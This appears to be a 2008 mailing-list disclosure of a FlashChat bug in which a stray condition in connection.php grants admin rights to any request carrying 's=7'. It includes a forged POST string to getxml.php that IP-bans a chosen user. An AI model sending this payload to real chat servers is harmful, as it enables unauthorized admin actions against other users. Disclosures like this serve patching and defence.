<<< Date Index >>>     <<< Thread Index >>>

flashchat severe bug



File: connection.php                            

if( 
                                        ChatServer::userInRole($this->userid, 
ROLE_ADMIN) || 
                                        ChatServer::userInRole($this->userid, 
ROLE_MODERATOR) ||
                                        ($req['s'] == 7) <-- *bypass line*
                                  )


This piece of code allows a normal user to bypass role filtering and to be 
granted admin role as a normal user. To exploit the vulnerability simply send 
to getxml.php, while into the chat, this post data string (for example 
intercepting and modifying a legal message packet sent to the server with 
tamper data plugin of firefox):

for example to ban a user simply add the bypass to the normal ban string 
request:

replace:
//normal message sent to server thas has being intercepted
sendAndLoad=%5Btype%20Function%5D&t=hi everybody&r=0&id=

with:
//normal ban packet used by admins or mods
sendAndLoad=%5Btype%20Function%5D&t=&r=0&u=5581&b=3&c=banu&cid=1&id=

//forged packet send by attacker
sendAndLoad=%5Btype%20Function%5D&s=7&t=&r=0&u=5581&b=3&c=banu&cid=1&id=

*note the s=7 added

this will ip-ban user with id 5581 from chat.

eLiSiA - 17-10-2008